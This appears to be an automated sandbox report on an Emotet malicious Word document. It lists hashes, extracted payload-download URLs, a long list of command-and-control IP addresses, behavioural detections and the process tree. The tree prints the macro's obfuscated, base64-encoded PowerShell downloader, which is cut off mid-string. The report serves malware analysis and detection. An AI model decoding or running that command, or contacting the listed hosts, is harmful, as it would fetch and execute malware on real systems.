Analysis
-
max time kernel
149s -
max time network
153s -
platform
windows7_x64 -
resource
win7 -
submitted
26-10-2020 12:11
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e1_45e691f571f8909970ad0e971e3938bcb3b65f8c0f741213b9dfe6cd64ba5062_2020-10-26__121000216987._fpx.doc
Resource
win7
General
-
Target
emotet_e1_45e691f571f8909970ad0e971e3938bcb3b65f8c0f741213b9dfe6cd64ba5062_2020-10-26__121000216987._fpx.doc
-
Size
167KB
-
MD5
25c855ae9ffa280bc8397500ef0b1c2e
-
SHA1
c5f7ffc4f84e2494473277d797207c092bb59adb
-
SHA256
45e691f571f8909970ad0e971e3938bcb3b65f8c0f741213b9dfe6cd64ba5062
-
SHA512
5ba37671f54c349f74cb370edea971f78794d98ee03c627f1018231682df738943a8eae4b14d7420b20101d494a7ced6c712967ac35c78c4eab6ead4ea987476
Malware Config
Extracted
http://innhanmacquanaogiare.com/wp-includes/Jh1/
http://www.edgeclothingmcr.com/indexing/c9/
https://thepremiumplace.com/wp-content/5/
https://florinconsultancy.com/wp-content/1/
https://udaysolopiano.com/wp-content/J/
https://sanayate.com/wp-includes/hd/
https://www.jorgecoronel.com/webmaster/kYH/
Extracted
emotet
Epoch1
81.214.253.80:443
94.23.62.116:8080
98.103.204.12:443
59.148.253.194:8080
197.232.36.108:80
74.58.215.226:80
79.118.74.90:80
181.123.6.86:80
5.89.33.136:80
137.74.106.111:7080
189.223.16.99:80
187.162.248.237:80
181.61.182.143:80
129.232.220.11:8080
178.211.45.66:8080
45.33.77.42:8080
94.176.234.118:443
128.92.203.42:80
12.162.84.2:8080
212.71.237.140:8080
24.135.69.146:80
190.190.219.184:80
37.183.81.217:80
201.71.228.86:80
191.97.154.2:80
152.169.22.67:80
191.182.6.118:80
186.70.127.199:8090
201.213.177.139:80
197.245.25.228:80
2.85.9.41:8080
188.157.101.114:80
51.15.7.145:80
87.106.46.107:8080
185.183.16.47:80
82.76.111.249:443
217.13.106.14:8080
190.24.243.186:80
70.32.84.74:8080
46.43.2.95:8080
188.135.15.49:80
186.103.141.250:443
175.143.12.123:8080
2.45.176.233:80
209.236.123.42:8080
51.255.165.160:8080
190.115.18.139:8080
168.197.45.36:80
37.187.161.206:8080
190.101.156.139:80
173.68.199.157:80
82.76.52.155:80
68.183.170.114:8080
70.169.17.134:80
177.144.130.105:8080
201.49.239.200:443
170.81.48.2:80
64.201.88.132:80
77.238.212.227:80
213.197.182.158:8080
138.97.60.141:7080
174.118.202.24:443
177.129.17.170:443
37.179.145.105:80
50.28.51.143:8080
12.163.208.58:80
172.86.186.21:8080
46.101.58.37:8080
45.46.37.97:80
188.251.213.180:80
68.183.190.199:8080
60.93.23.51:80
181.56.32.36:80
46.105.114.137:8080
192.232.229.54:7080
177.144.130.105:443
178.250.54.208:8080
109.190.35.249:80
183.176.82.231:80
1.226.84.243:8080
74.135.120.91:80
149.202.72.142:7080
177.23.7.151:80
219.92.13.25:80
5.196.35.138:7080
213.52.74.198:80
202.134.4.210:7080
81.215.230.173:443
76.121.199.225:80
138.97.60.140:8080
24.232.228.233:80
200.59.6.174:80
216.47.196.104:80
83.169.21.32:7080
189.2.177.210:443
181.30.61.163:443
192.241.143.52:8080
172.104.169.32:8080
70.32.115.157:8080
181.129.96.162:8080
109.190.249.106:80
111.67.12.221:8080
190.188.245.242:80
177.73.0.98:443
85.214.26.7:8080
51.75.33.127:80
62.84.75.50:80
103.236.179.162:80
98.13.75.196:80
181.58.181.9:80
177.107.79.214:8080
186.189.249.2:80
104.131.41.185:8080
77.78.196.173:443
185.94.252.27:443
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
POwersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1632 1308 POwersheLL.exe -
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral1/memory/1364-12-0x00000000002C0000-0x00000000002D5000-memory.dmp emotet behavioral1/memory/1364-13-0x00000000002F0000-0x0000000000303000-memory.dmp emotet behavioral1/memory/928-17-0x0000000000260000-0x0000000000275000-memory.dmp emotet behavioral1/memory/928-18-0x0000000000430000-0x0000000000443000-memory.dmp emotet -
Blacklisted process makes network request 2 IoCs
Processes:
POwersheLL.exeflow pid process 7 1632 POwersheLL.exe 9 1632 POwersheLL.exe -
Executes dropped EXE 2 IoCs
Processes:
Rieb3cpl.exeodbc32.exepid process 1364 Rieb3cpl.exe 928 odbc32.exe -
Drops file in System32 directory 2 IoCs
Processes:
Rieb3cpl.exePOwersheLL.exedescription ioc process File opened for modification C:\Windows\SysWOW64\cryptdlg\odbc32.exe Rieb3cpl.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk POwersheLL.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE -
Modifies registry class 280 IoCs
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\TypeLib\{6D1F0211-ABA1-4E3B-94FF-E455FA1D6FF4}\2.0 WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{6D1F0211-ABA1-4E3B-94FF-E455FA1D6FF4}\2.0\FLAGS WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\TypeLib\{6D1F0211-ABA1-4E3B-94FF-E455FA1D6FF4}\2.0\0 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\TypeLib\{6D1F0211-ABA1-4E3B-94FF-E455FA1D6FF4}\2.0\ = "Microsoft Forms 2.0 Object Library" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1036 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
POwersheLL.exeodbc32.exepid process 1632 POwersheLL.exe 1632 POwersheLL.exe 928 odbc32.exe 928 odbc32.exe 928 odbc32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
POwersheLL.exedescription pid process Token: SeDebugPrivilege 1632 POwersheLL.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1036 WINWORD.EXE 1036 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
Rieb3cpl.exedescription pid process target process PID 1364 wrote to memory of 928 1364 Rieb3cpl.exe odbc32.exe PID 1364 wrote to memory of 928 1364 Rieb3cpl.exe odbc32.exe PID 1364 wrote to memory of 928 1364 Rieb3cpl.exe odbc32.exe PID 1364 wrote to memory of 928 1364 Rieb3cpl.exe odbc32.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_45e691f571f8909970ad0e971e3938bcb3b65f8c0f741213b9dfe6cd64ba5062_2020-10-26__121000216987._fpx.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD IAAgACQAcQBQAFoATgBDAD0AIAAgAFsAVAB5AHAARQBdACgAIgB7ADAAfQB7ADUAfQB7ADIAfQB7ADQAfQB7ADMAfQB7ADEAfQAiACAALQBGACcAcwAnACwAJwB5ACcALAAnAC4AaQBPACcALAAnAHQATwBSACcALAAnAC4AZABpAHIARQBDACcALAAnAHkAcwB0AGUATQAnACkAIAAgADsAIAAgAHMAZQBUAC0ASQB0AEUATQAgAFYAYQBSAGkAYQBCAGwAZQA6AFoANgBvADUAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAwAH0AewAxAH0AewA0AH0AewAzAH0AewAyAH0AIgAtAGYAIAAnAFMAWQAnACwAJwBzACcALAAnAGEAbgBhAGcARQByACcALAAnAGUAUABvAEkAbgB0AG0AJwAsACcAVABFAE0ALgBOAGUAVAAuAFMARQBSAFYASQBjACcAKQAgACkAIAAgADsAIAAkAE8AbQBwADIAXwB0AGwAPQAoACcAQgAnACsAKAAnAGkAJwArACcANAB4AG8AcwB0ACcAKQApADsAJABGADAAMwB6AG4AawBmAD0AJABaAHgAOQBhAHoAOQBuACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABMAHkAaAAwAHcANgBtADsAJABRAHIAZgBhADcAbwB0AD0AKAAnAEoAJwArACgAJwBqACcAKwAnAHYAXwAnACkAKwAoACcAZAAyACcAKwAnAF8AJwApACkAOwAgACgAIABHAEUAdAAtAHYAYQByAEkAYQBiAEwARQAgAHEAcAB6AG4AYwAgACkALgB2AGEAbABVAGUAOgA6ACIAQwBSAEUAYABBAHQAZQBEAEkAUgBlAGAAYwBgAFQATwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGYASgB1AFoAeQAnACsAJwB3ACcAKQArACgAJwB4ACcAKwAnAGkANwBuACcAKQArACcAZgBKACcAKwAoACcAdQBNAG4ANwAnACsAJwBkACcAKwAnADgAbgAnACkAKwAoACcAbQAnACsAJwBmAEoAdQAnACkAKQAgAC0AcgBlAHAAbABhAEMARQAoACcAZgBKACcAKwAnAHUAJwApACwAWwBDAGgAQQByAF0AOQAyACkAKQA7ACQAVgB2AGQAawBxAGwAdgA9ACgAKAAnAFoAagAnACsAJwBrACcAKQArACcAbQAnACsAKAAnAGwAbQAnACsAJwAxACcAKQApADsAIAAgACgARwBFAHQALQBWAGEAcgBJAGEAYgBMAEUAIABaADYAbwA1ACkALgBWAEEATAB1AGUAOgA6ACIAcwBFAGAAYwBVAHIAYABJAFQAWQBwAFIAYABvAHQATwBDAG8ATAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAWAA5AGEAOABtAHQAcAA9ACgAKAAnAEMAcgB5ACcAKwAnAHAAbQAnACkAKwAnAG4AJwArACcAYwAnACkAOwAkAFAAZQBlADcAeQBrAHYAIAA9ACAAKAAnAFIAaQAnACsAJwBlACcAKwAoACcAYgAzAGMAcAAnACsAJwBsACcAKQApADsAJABPAGEAdwBkAGcAZQBhAD0AKAAnAEoAJwArACcAZABmACcAKwAoACcAMQBkACcAKwAnAHcAbAAnACkAKQA7ACQATQBnADAAeABnAGoAeAA9ACgAJwBPAHkAJwArACgAJwBkAGgAegAnACsAJwBxACcAKQArACcANgAnACkAOwAkAFYAYQBzAGEAdwBmAGgAPQAkAEgATwBNAEUAKwAoACgAKAAnAE0AJwArACcAQwBGAFoAeQB3AHgAaQA3ACcAKwAnAG4AJwApACsAJwBNACcAKwAnAEMAJwArACgAJwBGACcAKwAnAE0AbgAnACkAKwAoACcANwBkACcAKwAnADgAbgBtAE0AJwArACcAQwAnACkAKwAnAEYAJwApAC4AIgBSAEUAcABsAGEAYABDAEUAIgAoACgAWwBjAGgAQQBSAF0ANwA3ACsAWwBjAGgAQQBSAF0ANgA3ACsAWwBjAGgAQQBSAF0ANwAwACkALAAnAFwAJwApACkAKwAkAFAAZQBlADcAeQBrAHYAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABTAGEANABzADUAcwA5AD0AKAAoACcAUgA3ACcAKwAnADAAagA4AGEAJwApACsAJwB2ACcAKQA7ACQATwBmAGwAcAB5ADEANwA9AC4AKAAnAG4AZQB3AC0AbwBiAGoAZQAnACsAJwBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAEUAQgBjAEwASQBlAG4AdAA7ACQATgB5AGsAcQBpAGIAagA9ACgAJwBoAHQAJwArACgAJwB0ACcAKwAnAHAAOgBbACcAKQArACcAIAB3ACcAKwAnAGUAJwArACgAJwAgAF0AWwAgACcAKwAnAHcAJwApACsAKAAnAGUAJwArACcAIABdACcAKQArACcAaQBuACcAKwAoACcAbgBoAGEAbgBtAGEAJwArACcAYwAnACsAJwBxACcAKQArACcAdQAnACsAKAAnAGEAbgAnACsAJwBhACcAKQArACcAbwAnACsAKAAnAGcAaQAnACsAJwBhAHIAJwApACsAKAAnAGUALgBjACcAKwAnAG8AJwArACcAbQBbACAAdwBlACAAJwArACcAXQB3ACcAKQArACgAJwBwAC0AJwArACcAaQAnACkAKwAnAG4AJwArACgAJwBjAGwAdQAnACsAJwBkAGUAJwArACcAcwBbACAAJwApACsAKAAnAHcAZQAgACcAKwAnAF0ASgBoADEAWwAnACsAJwAgAHcAJwApACsAKAAnAGUAIABdAEAAJwArACcAaAAnACkAKwAnAHQAJwArACgAJwB0AHAAJwArACcAOgAnACkAKwAnAFsAJwArACcAIAB3ACcAKwAoACcAZQAgAF0AJwArACcAWwAgAHcAJwArACcAZQAgACcAKQArACgAJwBdAHcAJwArACcAdwAnACkAKwAoACcAdwAnACsAJwAuAGUAZAAnACkAKwAnAGcAJwArACgAJwBlAGMAbABvAHQAJwArACcAaAAnACkAKwAnAGkAbgAnACsAKAAnAGcAbQAnACsAJwBjACcAKQArACcAcgAnACsAJwAuACcAKwAnAGMAJwArACgAJwBvAG0AJwArACcAWwAnACkAKwAoACcAIAB3ACcAKwAnAGUAIABdACcAKQArACgAJwBpAG4AZABlACcAKwAnAHgAJwApACsAKAAnAGkAJwArACcAbgBnAFsAIAB3AGUAIABdAGMAJwArACcAOQBbACcAKQArACcAIAAnACsAKAAnAHcAZQAgAF0AQAAnACsAJwBoAHQAdABwAHMAJwArACcAOgBbACAAdwBlACAAJwApACsAKAAnAF0AJwArACcAWwAgACcAKQArACcAdwAnACsAKAAnAGUAIABdAHQAJwArACcAaABlAHAAJwApACsAKAAnAHIAJwArACcAZQBtAGkAdQAnACsAJwBtAHAAbABhACcAKQArACgAJwBjACcAKwAnAGUALgBjAG8AbQBbACcAKwAnACAAdwAnACkAKwAoACcAZQAgACcAKwAnAF0AdwBwACcAKwAnAC0AYwBvACcAKwAnAG4AJwApACsAJwB0AGUAJwArACcAbgB0ACcAKwAnAFsAJwArACgAJwAgACcAKwAnAHcAZQAnACkAKwAoACcAIABdACcAKwAnADUAWwAnACkAKwAoACcAIAB3ACcAKwAnAGUAIAAnACkAKwAoACcAXQAnACsAJwBAAGgAJwArACcAdAB0AHAAJwArACcAcwA6AFsAIAB3ACcAKwAnAGUAIABdAFsAIAB3AGUAIABdACcAKQArACgAJwBmAGwAJwArACcAbwAnACkAKwAoACcAcgBpAG4AYwAnACsAJwBvACcAKQArACcAbgBzACcAKwAoACcAdQBsACcAKwAnAHQAJwApACsAKAAnAGEAJwArACcAbgBjAHkAJwApACsAKAAnAC4AYwAnACsAJwBvAG0AWwAnACkAKwAoACcAIAAnACsAJwB3AGUAJwApACsAJwAgACcAKwAoACcAXQB3AHAALQAnACsAJwBjACcAKQArACgAJwBvAG4AdAAnACsAJwBlACcAKQArACgAJwBuACcAKwAnAHQAWwAgACcAKQArACgAJwB3AGUAJwArACcAIAAnACkAKwAnAF0AJwArACcAMQAnACsAJwBbACAAJwArACgAJwB3AGUAIAAnACsAJwBdAEAAJwArACcAaAB0ACcAKQArACcAdAAnACsAJwBwACcAKwAnAHMAJwArACgAJwA6AFsAJwArACcAIAAnACkAKwAnAHcAZQAnACsAKAAnACAAXQBbACcAKwAnACAAJwApACsAJwB3AGUAJwArACcAIABdACcAKwAoACcAdQAnACsAJwBkAGEAJwApACsAKAAnAHkAJwArACcAcwBvAGwAbwBwAGkAYQBuAG8ALgAnACsAJwBjACcAKwAnAG8AbQBbACAAJwApACsAJwB3ACcAKwAoACcAZQAgACcAKwAnAF0AdwBwAC0AJwArACcAYwBvAG4AJwApACsAKAAnAHQAZQAnACsAJwBuACcAKQArACcAdABbACcAKwAnACAAdwAnACsAKAAnAGUAIABdAEoAJwArACcAWwAnACkAKwAnACAAJwArACcAdwAnACsAJwBlACcAKwAoACcAIABdACcAKwAnAEAAaAAnACkAKwAnAHQAdAAnACsAKAAnAHAAcwAnACsAJwA6AFsAJwApACsAJwAgACcAKwAnAHcAJwArACcAZQAnACsAKAAnACAAXQAnACsAJwBbACAA